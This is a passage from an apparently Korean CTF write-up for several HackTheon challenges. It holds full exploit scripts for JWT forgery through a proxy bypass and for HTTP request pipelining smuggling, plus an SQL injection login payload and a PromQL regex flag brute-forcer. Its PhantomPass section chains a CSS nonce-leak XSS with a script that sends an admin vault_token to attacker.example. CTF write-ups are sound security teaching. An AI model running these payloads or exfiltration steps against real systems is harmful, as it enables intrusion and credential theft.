    q, p = recover_q(sess, host, token, n, e, wrapped)
    print(f"[+] q = {q:0128x}")
    print(f"[+] p = {p:0128x}")

    print("[*] recovering AES plaintext block 20")
    block20 = recover_plain_block(sess, host, token, n, e, q, wrapped, 20)
    p_key = block20[8:]
    print(f"[+] block20 = {block20.hex()}")
    print(f"[+] P = {p_key.hex()}")
    return p_key

def approve_with_p(sess, host, token, username, exp, p_key, amount, memo):
    ver = verify(
        sess,
        host,
        token,
        exp["wrapped_sk_hex"],
        exp["chal_ct_hex"],
        username,
        amount,
        memo,
    )

    txid = ver["txid"]
    msg = f"approval:v1:{txid}:admin:{username}:{amount}:{memo}".encode()
    tag_hex = hmac.new(p_key, msg, hashlib.sha256).digest()[:16].hex()

    print(f"[*] txid = {txid}")
    print(f"[*] tag  = {tag_hex}")

    return post_json(sess, host, "/api/approve", {
        "token": token,
        "txid": txid,
        "tag_hex": tag_hex,
    })

def main():
    parser = argparse.ArgumentParser(
        description="HackTheon bank exploit: recover/derive admin approval tag.",
    )
    parser.add_argument("--host", default=DEFAULT_HOST)
    parser.add_argument("--username")
    parser.add_argument("--password")
    parser.add_argument("--amount", type=int, default=1)
    parser.add_argument("--memo", default="Pwn")
    parser.add_argument(
        "--p-hex",
        default=KNOWN_P_HEX,
        help="known 8-byte approval key P; ignored when --recover is set",
    )
    parser.add_argument(
        "--recover",
        action="store_true",
        help="recover q and P through the RSA-CRT/AES-ECB oracle instead of using the known P",
    )
    args = parser.parse_args()

    sess = requests.Session()
    username, password, token = make_account(
        sess,
        args.host,
        args.username,
        args.password,
    )
    print(f"[*] username = {username}")
    print(f"[*] password = {password}")
    print(f"[*] token    = {token}")

    exp = export_admin(sess, args.host, token)

    if args.recover:
        p_key = recover_p_key(sess, args.host, token, exp)
    else:
        p_key = bytes.fromhex(args.p_hex)
        print(f"[*] using known P = {p_key.hex()}")

    result = approve_with_p(
        sess,
        args.host,
        token,
        username,
        exp,
        p_key,
        args.amount,
        args.memo,
    )

    print("[+] approve response:")
    print(result)
    if "flag" in result:
        print(f"[+] FLAG = {result['flag']}")

if __name__ == "__main__":
    main()

---

WEB

simple-sqli

id: admin' --

Dark Harbor 1

먼저 edge proxy는 일반적인 /internal/... 요청은 차단한다. 그런데 HTTP request target을 origin-form이 아니라 absolute-form으로 보내면 필터를 우회할 수 있었다. 즉 /internal/admin-console.json을 직접 요청하면 막히지만, request line에 http://host:port/internal/admin-console.json 형태로 넣으면 내부 라우트로 접근할 수 있었다.

그 다음은 정책 키를 오염시키는 과정이다. 사용자는 자신의 workspace에 XML test report를 업로드할 수 있었고, 서버는 첫 번째 testcase의 output을 저장했다. 여기에 원하는 문자열을 넣어둔 뒤 /internal/policy-seed를 호출하면, 그 문자열이 지정한 kid의 정책 검증 키로 등록되었다.

이때 중요한 점은 seed된 값 앞에 개행이 하나 붙는다는 것이다. 즉 내가 my-hs-secret-flag를 넣었다면 실제 secret은 \nmy-hs-secret-flag가 된다. 원래는 PEM 공개키를 기대하는 구조였지만, 공격자가 넣은 문자열이 HS256 검증 secret처럼 사용되면서 admin JWT를 위조할 수 있었다.

공격 흐름은 /api/auth/register로 workspace를 만들고, test report에 secret 문자열을 심은 뒤, absolute-form 요청으로 /internal/policy-seed를 호출한다. 이후 캐시가 갱신될 때까지 잠시 기다리고, kid를 맞춘 HS256 JWT에 role: admin을 넣어 서명한다. 마지막으로 이 토큰을 x-policy-token 헤더에 넣고 /internal/admin-console.json을 absolute-form으로 요청하면 된다.

import base64
import hashlib
import hmac
import http.client
import json
import time
import requests

HOST = "15.164.173.78"
PORT = 8080
BASE = f"http://{HOST}:{PORT}"
SEED_SECRET = "my-hs-secret-flag"
KID = "final-kid"

def b64u(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

def absolute_request(method, absolute_url, body=None, headers=None):
    conn = http.client.HTTPConnection(HOST, PORT, timeout=30)
    conn.request(method, absolute_url, body=body, headers=headers or {})
    resp = conn.getresponse()
    data = resp.read().decode()
    conn.close()
    return resp.status, data

s = requests.Session()

reg = s.post(
    BASE + "/api/auth/register",
    json={"workspace_name": "pwn"},
    timeout=30,
).json()

ws_id = reg["workspace"]["id"]
user_token = reg["token"]

xml = f'''<?xml version="1.0"?>
<testsuite name="seed">
  <testcase name="seed-key">
    <failure><![CDATA[{SEED_SECRET}]]></failure>
  </testcase>
</testsuite>'''

report = s.post(
    BASE + f"/api/builds/{ws_id}/test-report",
    data=xml.encode(),
    headers={
        "Authorization": f"Bearer {user_token}",
        "Content-Type": "application/xml",
    },
    timeout=30,
).json()

report_id = report["report_id"]

seed_body = json.dumps({
    "workspace_id": ws_id,
    "report_id": report_id,
    "kid": KID,
})

status, body = absolute_request(
    "POST",
    f"http://{HOST}:{PORT}/internal/policy-seed",
    body=seed_body,
    headers={
        "Authorization": f"Bearer {user_token}",
        "Content-Type": "application/json",
    },
)

print("policy-seed:", status, body)

if status != 200:
    raise SystemExit("policy-seed failed")

time.sleep(31)

header = {"alg": "HS256", "typ": "JWT", "kid": KID}
payload = {"role": "admin", "sub": "ctf-admin"}

msg = ".".join([
    b64u(json.dumps(header, separators=(",", ":")).encode()),
    b64u(json.dumps(payload, separators=(",", ":")).encode()),
]).encode()

sig = hmac.new(("\n" + SEED_SECRET).encode(), msg, hashlib.sha256).digest()
policy_token = msg.decode() + "." + b64u(sig)

status, body = absolute_request(
    "GET",
    f"http://{HOST}:{PORT}/internal/admin-console.json",
    headers={"x-policy-token": policy_token},
)

print("admin-console:", status)
print(body)

Dark Harbor 2

Dark Harbor 2는 1번 문제에서 얻은 deployment_hmac_secret을 이용해 내부 policy override를 실행하고, 그 결과로 나온 암호화된 flag를 복호화하는 문제였다.

먼저 /api/phase1-handoff에 Phase 1 secret을 보내면 REVIEW 상태의 workspace와 API용 admin JWT를 받을 수 있다. 하지만 내부 policy-engine에서 쓰는 JWT는 API 서버 JWT와 키가 달라서, /internal/admin/policy-override에 넣을 토큰은 deployment_hmac_secret으로 직접 HS256 서명해야 했다. 또한 요청에는 X-Internal-HMAC, X-Pipeline-State: REVIEW 같은 내부 검증 헤더도 필요했다.

핵심 취약점은 edge-proxy의 HTTP pipelining 처리였다. edge-proxy는 첫 번째 요청만 보고 접근 제어와 라우팅을 결정했다. 그래서 첫 요청을 허용된 /health/policy-engine으로 보내고, 같은 TCP 연결 뒤에 /internal/admin/policy-override 요청을 붙이면 두 번째 요청까지 policy-engine으로 전달되었다. 외부 응답에는 health check 결과만 보이지만, 내부적으로는 policy override가 실행되어 Redis에 결과가 저장된다.

override가 성공하면 /api/deploy/<workspace_id>/override-result에서 encrypted_secret과 deploy_token을 얻을 수 있다. 이후 override token을 sign action으로 사용해 실제 signing_key를 받고, 새 deploy token을 만들어 seal action으로 session_seal을 가져온다. 마지막으로 HMAC-SHA256(signing_key, session_seal)[:32]를 AES-GCM key로 사용해 encrypted_secret을 복호화했다.

최종적으로 복호화된 flag는 다음과 같다.

#!/usr/bin/env python3
import argparse
import base64
import hashlib
import hmac
import json
import socket
import ssl
import sys
import time
import urllib.error
import urllib.parse
import urllib.request

DEFAULT_TARGETS = [
    "http://3.38.160.83:8080",
    "http://3.38.176.232:8080",
    "http://16.184.42.216:8080",
]
DEFAULT_SECRET = "a]Kx9#mP$vQ2nR7wF4jL8cB5hT0yU3eA"
INTERNAL_PATH = "/internal/admin/policy-override"

class ExploitError(RuntimeError):
    pass

def b64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).decode().rstrip("=")

def make_policy_jwt(secret: str, ttl: int = 300) -> str:
    now = int(time.time())
    header = {"alg": "HS256", "typ": "JWT"}
    payload = {
        "sub": "phase2-override",
        "role": "pipeline_admin",
        "workspace": "phase2-handoff",
        "account_id": "phase1-clear",
        "iss": "darkharbor-policy",
        "iat": now,
        "exp": now + ttl,
    }
    signing_input = ".".join(
        [
            b64url(json.dumps(header, separators=(",", ":")).encode()),
            b64url(json.dumps(payload, separators=(",", ":")).encode()),
        ]
    )
    sig = hmac.new(secret.encode(), signing_input.encode(), hashlib.sha256).digest()
    return f"{signing_input}.{b64url(sig)}"

def make_internal_hmac(secret: str, method: str, path: str, body: bytes) -> str:
    timestamp = str(int(time.time()))
    body_hash = hashlib.sha256(body).hexdigest()
    msg = f"{method.upper()}\n{path}\n{timestamp}\n{body_hash}"
    sig = hmac.new(secret.encode(), msg.encode(), hashlib.sha256).hexdigest()
    return f"SHA256:{timestamp}:{sig}"

def request_json(base_url: str, method: str, path: str, body=None, headers=None, timeout=5):
    url = urllib.parse.urljoin(base_url.rstrip("/") + "/", path.lstrip("/"))
    req_headers = {"Accept": "application/json"}
    data = None

    if headers:
        req_headers.update(headers)
    if body is not None:
        data = json.dumps(body, separators=(",", ":")).encode()
        req_headers["Content-Type"] = "application/json"

    req = urllib.request.Request(url, data=data, headers=req_headers, method=method)
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            raw = resp.read()
            status = resp.status
    except urllib.error.HTTPError as err:
        raw = err.read()
        status = err.code
    except urllib.error.URLError as err:
        raise ExploitError(f"request failed: {method} {path}: {err}") from err

    text = raw.decode(errors="replace")
    try:
        parsed = json.loads(text) if text else {}
    except json.JSONDecodeError:
        parsed = {"raw": text}
    return status, parsed, text

def require_status(status: int, parsed, method: str, path: str, expected=(200,)):
    if status not in expected:
        raise ExploitError(f"{method} {path} returned HTTP {status}: {parsed}")
    return parsed

def host_header(parsed_url: urllib.parse.ParseResult) -> str:
    host = parsed_url.hostname
    if not host:
        raise ExploitError("target URL must include a host")
    default_port = 443 if parsed_url.scheme == "https" else 80
    if parsed_url.port and parsed_url.port != default_port:
        return f"{host}:{parsed_url.port}"
    return host

def send_pipelined_override(base_url: str, policy_jwt: str, internal_hmac: str, body: bytes, timeout=5) -> bytes:
    parsed = urllib.parse.urlparse(base_url)
    if parsed.scheme not in ("http", "https"):
        raise ExploitError("target URL scheme must be http or https")
    if not parsed.hostname:
        raise ExploitError("target URL must include a host")

    port = parsed.port or (443 if parsed.scheme == "https" else 80)
    host = host_header(parsed)

    first = (
        f"GET /health/policy-engine HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Connection: keep-alive\r\n"
        f"\r\n"
    ).encode()
    second = (
        f"POST {INTERNAL_PATH} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Authorization: Bearer {policy_jwt}\r\n"
        f"X-Internal-HMAC: {internal_hmac}\r\n"
        f"X-Pipeline-State: REVIEW\r\n"
        f"Content-Type: application/json\r\n"
        f"Content-Length: {len(body)}\r\n"
        f"Connection: close\r\n"
        f"\r\n"
    ).encode() + body

    raw_sock = socket.create_connection((parsed.hostname, port), timeout=timeout)
    try:
        sock = raw_sock
        if parsed.scheme == "https":
            context = ssl.create_default_context()
            sock = context.wrap_socket(raw_sock, server_hostname=parsed.hostname)
        with sock:
            sock.settimeout(timeout)
            sock.sendall(first + second)
            chunks = []
            while True:
                try:
                    chunk = sock.recv(65536)
                except socket.timeout:
                    break
                if not chunk:
                    break
                chunks.append(chunk)
            return b"".join(chunks)
    finally:
        try:
            raw_sock.close()
        except OSError:
            pass

def decrypt_flag(encrypted_secret: str, signing_key: str, session_seal: str) -> str:
    blob = base64.b64decode(encrypted_secret)
    nonce, ciphertext_and_tag = blob[:12], blob[12:]
    key = hmac.new(signing_key.encode(), session_seal.encode(), hashlib.sha256).digest()[:32]

    try:
        from cryptography.hazmat.primitives.ciphers.aead import AESGCM

        return AESGCM(key).decrypt(nonce, ciphertext_and_tag, None).decode()
    except ImportError:
        pass

    try:
        from Crypto.Cipher import AES

        ciphertext, tag = ciphertext_and_tag[:-16], ciphertext_and_tag[-16:]
        cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
        return cipher.decrypt_and_verify(ciphertext, tag).decode()
    except ImportError as err:
        raise ExploitError("install cryptography or pycryptodome to decrypt AES-GCM") from err

def exploit_target(target: str, secret: str, timeout: int, verbose: bool):
    print(f"[*] target: {target}")

    status, parsed, _ = request_json(
        target,
        "POST",
        "/api/phase1-handoff",
        {"hmac_secret": secret},
        timeout=timeout,
    )
    handoff = require_status(status, parsed, "POST", "/api/phase1-handoff")
    workspace_id = handoff["workspace_id"]
    admin_jwt = handoff["admin_jwt"]
    print(f"[+] workspace_id: {workspace_id}")

    body = json.dumps(
        {
            "workspace_id": workspace_id,
            "reason": "pipeline emergency override",
            "scope": "deploy",
            "target_state": "APPROVED",
        },
        separators=(",", ":"),
    ).encode()
    policy_jwt = make_policy_jwt(secret)
    internal_hmac = make_internal_hmac(secret, "POST", INTERNAL_PATH, body)

    raw_response = send_pipelined_override(target, policy_jwt, internal_hmac, body, timeout=timeout)
    first_line = raw_response.split(b"\r\n", 1)[0].decode(errors="replace") if raw_response else "no response"
    print(f"[+] pipelined override sent: {first_line}")
    if verbose and raw_response:
        print(raw_response.decode(errors="replace"))

    auth = {"Authorization": f"Bearer {admin_jwt}"}
    override_result = None
    last_status = None
    last_body = None
    for _ in range(20):
        status, parsed, _ = request_json(
            target,
            "GET",
            f"/api/deploy/{workspace_id}/override-result",
            headers=auth,
            timeout=timeout,
        )
        last_status, last_body = status, parsed
        if status == 200:
            override_result = parsed
            break
        time.sleep(0.15)
    if not override_result:
        raise ExploitError(f"override-result not available: HTTP {last_status}: {last_body}")

    deploy_token = override_result["deploy_token"]
    encrypted_secret = override_result["encrypted_secret"]
    print(f"[+] override deploy_token: {deploy_token}")

    status, parsed, _ = request_json(
        target,
        "POST",
        f"/api/deploy/{workspace_id}/use-token",
        {"token": deploy_token, "action": "sign"},
        headers=auth,
        timeout=timeout,
    )
    sign_result = require_status(status, parsed, "POST", f"/api/deploy/{workspace_id}/use-token")
    signing_key = sign_result["signing_key"]
    print(f"[+] signing_key: {signing_key}")

    status, parsed, _ = request_json(
        target,
        "POST",
        f"/api/deploy/{workspace_id}/token",
        {},
        headers=auth,
        timeout=timeout,
    )
    token_result = require_status(status, parsed, "POST", f"/api/deploy/{workspace_id}/token", expected=(201,))
    seal_token = token_result["token"]

    status, parsed, _ = request_json(
        target,
        "POST",
        f"/api/deploy/{workspace_id}/use-token",
        {"token": seal_token, "action": "seal"},
        headers=auth,
        timeout=timeout,
    )
    seal_result = require_status(status, parsed, "POST", f"/api/deploy/{workspace_id}/use-token")
    session_seal = seal_result["session_seal"]
    print(f"[+] session_seal: {session_seal}")

    flag = decrypt_flag(encrypted_secret, signing_key, session_seal)
    print(f"[+] flag: {flag}")
    return flag

def parse_args():
    parser = argparse.ArgumentParser(description="Dark Harbor 2 exploit")
    parser.add_argument(
        "--target",
        action="append",
        help="target base URL. Can be supplied multiple times. Defaults to all public targets.",
    )
    parser.add_argument("--secret", default=DEFAULT_SECRET, help="deployment_hmac_secret from Dark Harbor 1")
    parser.add_argument("--timeout", type=int, default=5, help="network timeout in seconds")
    parser.add_argument("-v", "--verbose", action="store_true", help="print raw pipelined response")
    return parser.parse_args()

def main():
    args = parse_args()
    targets = args.target or DEFAULT_TARGETS
    errors = []

    for target in targets:
        try:
            exploit_target(target.rstrip("/"), args.secret, args.timeout, args.verbose)
            return 0
        except Exception as err:
            errors.append((target, err))
            print(f"[-] {target}: {err}", file=sys.stderr)

    print("[-] all targets failed", file=sys.stderr)
    for target, err in errors:
        print(f"    {target}: {err}", file=sys.stderr)
    return 1

if __name__ == "__main__":
    raise SystemExit(main())

Observatory

Brute force를 이용한 문제다

#!/usr/bin/env python3
import json
import re
import sys
import time
import http.cookiejar
import urllib.error
import urllib.parse
import urllib.request

BASE_URL = "http://43.201.43.169:3000"
USERNAME = "guest1234"
PASSWORD = "guest1234"

ALPHABET = (
    "abcdefghijklmnopqrstuvwxyz"
    "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    "0123456789"
    "{}_-"
)

class Client:
    def __init__(self, base_url: str) -> None:
        self.base_url = base_url.rstrip("/")
        self.cookie_jar = http.cookiejar.CookieJar()
        self.opener = urllib.request.build_opener(
            urllib.request.HTTPCookieProcessor(self.cookie_jar)
        )
        self.base_value = None
        self.cache = {}

    def post_form(self, path: str, data: dict) -> str:
        body = urllib.parse.urlencode(data).encode()
        req = urllib.request.Request(
            self.base_url + path,
            data=body,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            method="POST",
        )
        with self.opener.open(req, timeout=5) as resp:
            return resp.read().decode(errors="replace")

    def query(self, agg: str) -> dict:
        body = json.dumps({"metric": "user_active", "agg": agg}).encode()
        req = urllib.request.Request(
            self.base_url + "/api/query",
            data=body,
            headers={
                "Content-Type": "application/json",
            },
            method="POST",
        )
        with self.opener.open(req, timeout=5) as resp:
            return json.loads(resp.read())

    def login(self) -> None:
        self.post_form("/login", {"username": USERNAME, "password": PASSWORD})
        if not list(self.cookie_jar):
            raise RuntimeError("login failed: no session cookie")

    def baseline(self) -> int:
        if self.base_value is None:
            data = self.query("sum by(namespace)")
            self.base_value = int(data["results"][0]["value"])
        return self.base_value

    @staticmethod
    def prom_regex_literal(text: str) -> str:
        # PromQL strings use Go-like escaping, so regex backslashes must be
        # escaped once more before json.dumps escapes the JSON layer.
        escaped = re.escape(text)
        return escaped.replace("\\", "\\\\").replace('"', '\\"')

    def count_matching(self, regex: str) -> int:
        if regex in self.cache:
            return self.cache[regex]

        agg = (
            f'scalar(count(secret_config{{flag=~"{regex}"}})) '
            "+ sum by(namespace)"
        )
        for attempt in range(3):
            try:
                data = self.query(agg)
                break
            except (urllib.error.URLError, TimeoutError):
                if attempt == 2:
                    raise
                time.sleep(0.2)

        if data.get("status") != "success":
            self.cache[regex] = 0
            return 0

        value = data["results"][0]["value"]
        if value == "NaN":
            count = 0
        else:
            count = int(float(value) - self.baseline())
        self.cache[regex] = count
        return count

    def prefix_count(self, prefix: str) -> int:
        return self.count_matching(self.prom_regex_literal(prefix) + ".*")

    def exact_count(self, text: str) -> int:
        return self.count_matching(self.prom_regex_literal(text))

def main() -> int:
    client = Client(BASE_URL)
    client.login()
    print("[+] logged in", flush=True)
    print(f"[+] baseline = {client.baseline()}", flush=True)
    print(
        f"[+] total flag-labeled secret_config series = {client.prefix_count('')}",
        flush=True,
    )

    start = "hacktheon2"
    if client.prefix_count(start) == 0:
        start = "hacktheon"
    if client.prefix_count(start) == 0:
        start = ""

    found = []
    stack = [start]
    seen = {start}

    def alternatives(chars: str) -> str:
        return "(" + "|".join(client.prom_regex_literal(ch) for ch in chars) + ")"

    def regex_count(regex: str) -> int:
        return client.count_matching(regex)

    def next_chars(prefix: str, chars: str) -> list[str]:
        if not chars:
            return []
        if len(chars) == 1:
            regex = client.prom_regex_literal(prefix) + client.prom_regex_literal(chars)
            return [chars] if regex_count(regex + ".*") else []
        mid = len(chars) // 2
        left = chars[:mid]
        right = chars[mid:]
        out = []
        for part in (left, right):
            regex = client.prom_regex_literal(prefix) + alternatives(part) + ".*"
            if regex_count(regex):
                out.extend(next_chars(prefix, part))
        return out

    while stack:
        prefix = stack.pop()
        if prefix and client.exact_count(prefix):
            found.append(prefix)
            print(f"[+] exact match: {prefix}", flush=True)
            if prefix.endswith("}"):
                continue

        for ch in next_chars(prefix, ALPHABET):
            candidate = prefix + ch
            if candidate in seen:
                continue
            seen.add(candidate)
            count = client.prefix_count(candidate)
            print(f"[+] prefix {candidate!r} matches {count}", flush=True)
            stack.append(candidate)

    if found:
        print("[+] candidates:", flush=True)
        for item in found:
            print(item, flush=True)
        return 0

    print("[-] no exact flag recovered", file=sys.stderr)
    return 1

if __name__ == "__main__":
    raise SystemExit(main())
    

Phantompass

Flag:

hacktheon2026{ph4nt0m_r0r_x_n0nc3_gh0st_ch41n}

처음에는 admin registration race인 줄알았는데, 문제 풀다 서버 한번 리부트 되니까, 패치가 되었다.

그래서 다른 벡터였던 nonce xss로 틀었다.

DOMPurify custom element reparse
-> CSS side-channel로 dashboard CSP nonce leak
-> history traversal로 같은 nonce 문맥 재사용
-> target origin stored XSS
-> admin vault_token 탈취
-> /api/origins에 attacker origin 추가
-> related-origin WebAuthn assertion
-> /vault

Challenge

PhantomPass는 passkey-only workspace다. bot은 admin 계정으로 passkey를 등록한 뒤, 참가자가 제출한 URL을 admin cookie와 virtual authenticator가 들어 있는 browser context에서 방문한다.

Vault endpoint는 두 조건이 모두 맞아야 flag를 준다.

• admin passkey로 생성된 WebAuthn assertion
• admin user row의 vault_token

관련 코드:

@app.route("/vault", methods=["POST"])
def vault():
    ch = session.pop("vault_challenge", None)
    vault_token = data.get("vault_token", "")
    cred = data.get("credential", {})

    cur.execute(
        "SELECT id, uid, pubkey FROM creds WHERE cred_id = %s",
        (base64url_to_bytes(cred["id"]),),
    )
    row = cur.fetchone()

    cur.execute("SELECT name, vault_token FROM users WHERE id = %s", (uid,))
    user = cur.fetchone()
    if not user or user[0] != ADMIN_NAME:
        return jsonify(error="admin only"), 403
    if vault_token != user[1]:
        return jsonify(error="bad token"), 403

    verify_authentication_response(
        credential=cred,
        expected_challenge=base64url_to_bytes(ch),
        expected_rp_id=RP_ID,
        expected_origin=allowed_origins(),
        credential_public_key=bytes(pubkey),
        credential_current_sign_count=0,
    )
    return jsonify(flag=FLAG)

allowed_origins()는 DB의 origins 테이블을 그대로 포함한다.

def allowed_origins():
    cur = get_db().cursor()
    cur.execute("SELECT DISTINCT origin FROM origins")
    return [ORIGIN] + [r[0] for r in cur.fetchall()]

그리고 admin만 /api/origins로 origin을 추가할 수 있다.

Dead End: Admin Registration Race

처음 눈에 띈 버그는 /api/register/begin에서 passkey 등록 완료 전에 로그인 세션을 주는 부분이었다.

session["reg_uid"] = uid
session["uid"] = uid

이론적으로 reset 직후 bot보다 먼저 username=admin으로 /api/register/begin을 잡으면 admin 세션이 생기고, /api/me에서 admin vault_token을 읽을 수 있다.

하지만 live 서버는 재시작 이후 다음처럼 막혀 있었다.

POST /api/register/begin {"username":"admin"}
=> 403 {"error":"reserved name"}

그래서 race는 버리고 stored XSS 쪽으로 갔다.

DOMPurify 이후 Custom Element Reparse

dashboard는 room post를 DOMPurify로 sanitize한 뒤 feed에 넣는다.

fetch('/api/posts' + qs).then(r=>r.json()).then(posts=>{
  document.getElementById('feed').innerHTML=
    posts.map(p=>'<div class="post-item">'+DOMPurify.sanitize(p, PURIFY_CFG)+'</div>').join('');
});

DOMPurify 설정은 custom element post-*와 content, class attribute를 허용한다.

const PURIFY_CFG = {
  FORCE_BODY: true,
  CUSTOM_ELEMENT_HANDLING: {
    tagNameCheck: /^post-/,
    attributeNameCheck: (attr) => attr === 'content' || attr === 'class',
    allowCustomizedBuiltInElements: false
  }
};

문제는 post-card의 lifecycle이다.

class PostCard extends HTMLElement {
  connectedCallback() {
    this.innerHTML = this.getAttribute('content') || '';
  }
}
customElements.define('post-card', PostCard);

DOMPurify는 content attribute 안의 문자열을 단순 attribute로 보고 보존한다. 그런데 element가 DOM에 붙으면 connectedCallback()이 그 값을 다시 innerHTML로 파싱한다.

즉 아래처럼 넣으면 DOMPurify 이후에 HTML이 다시 살아난다.

<post-card content="<style>...</style>"></post-card>

일반 event handler나 inline script는 CSP 때문에 막힌다.

<meta http-equiv="Content-Security-Policy"
  content="script-src 'nonce-{{ nonce }}'; style-src 'self' 'unsafe-inline'; base-uri 'none'">

하지만 style-src 'unsafe-inline' 때문에 CSS는 실행된다.

CSS로 CSP Nonce Leak

dashboard에는 nonce가 달린 script가 두 개 있다.

<script nonce="{{ nonce }}" src="/static/js/purify.min.js"></script>
<script nonce="{{ nonce }}" src="/static/js/dashboard.js"></script>

nonce는 secrets.token_hex(8)이라 16자리 hex다. CSS selector와 :has()를 이용하면 nonce substring 존재 여부를 네트워크 요청으로 leak할 수 있다.

처음에는 prefix를 한 글자씩 맞추려 했지만 dashboard reload마다 nonce가 바뀌어서 실패했다. 대신 가능한 모든 3-gram을 한 번에 검사했다.

가능한 3-gram은 16^3 = 4096개뿐이다.

def leak_inner(st):
    run = st["run"]
    elems = []
    rules = ["i{display:block;width:1px;height:1px;overflow:hidden}"]
    for tup in itertools.product("0123456789abcdef", repeat=3):
        gram = "".join(tup)
        elems.append(f"<i id=x{gram}></i>")
        rules.append(
            f"html:has(script[nonce*='{gram}']) #x{gram}"
            f"{{background:url(//{PUBLIC_HOST}/h/{run}/{gram})}}"
        )
    return "".join(elems) + "<style>" + "".join(rules)

nonce 길이가 16이면 연속된 3-gram은 14개다. 서버에서 들어온 3-gram들을 edge로 보고 Euler path처럼 이어 붙이면 원래 nonce를 복원할 수 있다.

실제 exploit 로그:

[NONCE] 118a37f7 nonce=4e595a2df6cb9b19 grams=14

Problem: Leaked Nonce를 어떻게 실행에 쓰나

nonce를 leak한 뒤 post를 XSS payload로 바꾸고 dashboard를 reload하면 nonce가 새로 바뀐다. 그래서 leak한 nonce가 stale이 된다.

해결은 history traversal이었다.

흐름은 이렇다.

1. attacker page가 popup을 연다.
2. popup을 target dashboard room으로 보낸다.
3. dashboard에서 CSS payload가 실행되고 nonce가 leak된다.
4. attacker backend가 room post를 XSS payload로 교체한다.
5. popup을 target /로 보낸다.
6. popup을 attacker /history_bounce로 보낸다.
7. /history_bounce가 history.go(-2)를 실행한다.
8. browser가 이전 dashboard history entry로 돌아오면서 기존 nonce 문맥에서 교체된 post가 로드된다.

추가한 bounce route:

@app.get("/history_bounce")
def history_bounce():
    return Response("<script>history.go(-2)</script>", mimetype="text/html")

attacker page 쪽 핵심:

const st = await post('/setup?run='+RUN+'&target='+TARGET, {});
w.location = st.host + '/dashboard?room=' + encodeURIComponent(st.room);

// wait until CSS side-channel reconstructs nonce
let s = await fetch('/state?run='+RUN).then(r=>r.json());

await post('/post_xss?run='+RUN, {});
w.location = s.host + '/';
await sleep(2000);
w.location = ATK + '/history_bounce?run=' + RUN;

XSS Payload

복원한 nonce를 이용해 iframe srcdoc 안에 nonce-bearing external script를 넣었다.

def post_xss(st):
    nonce = st["prefix"]
    run = st["run"]
    inner = (
        f"<iframe srcdoc='<script nonce={nonce} "
        f"src={PUBLIC_ORIGIN}/xss.js?run={run}>&amp;lt;/script&amp;gt;'>"
    )
    clear_posts(st)
    add_post(st, outer_raw(inner))

xss.js는 target origin/admin session에서 실행된다. 그래서 /api/me로 admin token을 읽고, admin-only /api/origins도 호출할 수 있다.

const ATK = "<https://attacker.example>";
const me = await fetch('/api/me', {credentials:'include'}).then(r=>r.json());

const add = await fetch('/api/origins', {
  method:'POST',
  credentials:'include',
  headers:{'Content-Type':'application/json'},
  body:JSON.stringify({origin:ATK})
}).then(r=>r.json());

await fetch(
  ATK + '/token?name=' + encodeURIComponent(me.name || '') +
  '&token=' + encodeURIComponent(me.vault_token || '') +
  '&add=' + encodeURIComponent(JSON.stringify(add)),
  {mode:'no-cors'}
);

실제 로그:

GET /xss.js?run=118a37f7 200
[TOKEN] 118a37f7 admin f2bc3f75a799150b1862cfa45bcba30a46b62ebed9d13455795be214d126c0aa

WebAuthn Related Origin으로 Vault 열기

token만으로는 부족하다. /vault는 admin passkey assertion도 요구한다.

하지만 XSS가 /api/origins에 attacker origin을 추가했기 때문에, attacker top-level origin에서 target RP ID에 대한 WebAuthn assertion을 만들 수 있다.

attacker page는 backend에서 /vault/begin을 proxy해 challenge를 받고, bot browser의 virtual authenticator로 sign한다.

let opts = await fetch('/get_challenge?run='+RUN).then(r=>r.json());
opts.challenge = b64d(opts.challenge);
if (opts.allowCredentials) {
  opts.allowCredentials = opts.allowCredentials
    .slice(0,64)
    .map(c => ({type:'public-key', id:b64d(c.id)}));
}

const a = await navigator.credentials.get({
  publicKey: {...opts, userVerification:'preferred', timeout:20000}
});

그 assertion을 attacker backend가 admin vault_token과 함께 target /vault로 보낸다.

@app.post("/assertion")
def assertion():
    payload = {
        "vault_token": st.get("vault_token", ""),
        "credential": request.get_json(),
    }
    r = sess.post(urljoin(target["host"], "/vault"), json=payload, timeout=10)

성공 로그:

[RESULT] 118a37f7 200 {'flag': 'hacktheon2026{ph4nt0m_r0r_x_n0nc3_gh0st_ch41n}'}

공개 HTTPS origin이 필요하다. bot은 ignore_https_errors=True라 self-signed도 가능하지만, WebAuthn secure context 조건 때문에 HTTPS여야 한다.

#!/usr/bin/env python3
import html
import itertools
import json
import secrets
import sys
import threading
import time
from urllib.parse import urljoin

import requests
from flask import Flask, Response, jsonify, request

PUBLIC_ORIGIN = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "https://example.com"
PUBLIC_HOST = PUBLIC_ORIGIN.split("://", 1)[-1]
PORT = 9001
HEX = "0123456789abcdef"

TARGETS = {
    "s1": {"host": "https://43-202-165-147.sslip.io", "bot": "http://43.202.165.147:8080"},
    "s2": {"host": "https://16-184-15-119.sslip.io", "bot": "http://16.184.15.119:8080"},
    "s3": {"host": "https://16-184-9-39.sslip.io", "bot": "http://16.184.9.39:8080"},
    "s4": {"host": "https://54-116-33-123.sslip.io", "bot": "http://54.116.33.123:8080"},
}

requests.packages.urllib3.disable_warnings()

app = Flask(__name__)
states = {}
lock = threading.RLock()

def outer(inner):
    return '<post-card content="' + html.escape(inner, quote=True) + '"></post-card>'

def outer_raw(inner):
    return '<post-card content="' + inner + '"></post-card>'

def make_attacker_session(target, run):
    sess = requests.Session()
    sess.verify = False
    username = "nx_" + run + "_" + secrets.token_hex(4)
    r = sess.post(
        urljoin(target["host"], "/api/register/begin"),
        json={"username": username},
        timeout=10,
    )
    r.raise_for_status()
    return sess

def create_room(sess, target):
    r = sess.post(urljoin(target["host"], "/api/room"), timeout=10)
    r.raise_for_status()
    return r.json()["room_token"]

def clear_posts(st):
    st["sess"].delete(
        urljoin(st["target"]["host"], "/api/posts"),
        json={"room": st["room"]},
        timeout=10,
    ).raise_for_status()

def add_post(st, body):
    r = st["sess"].post(
        urljoin(st["target"]["host"], "/api/posts"),
        json={"room": st["room"], "body": body},
        timeout=10,
    )
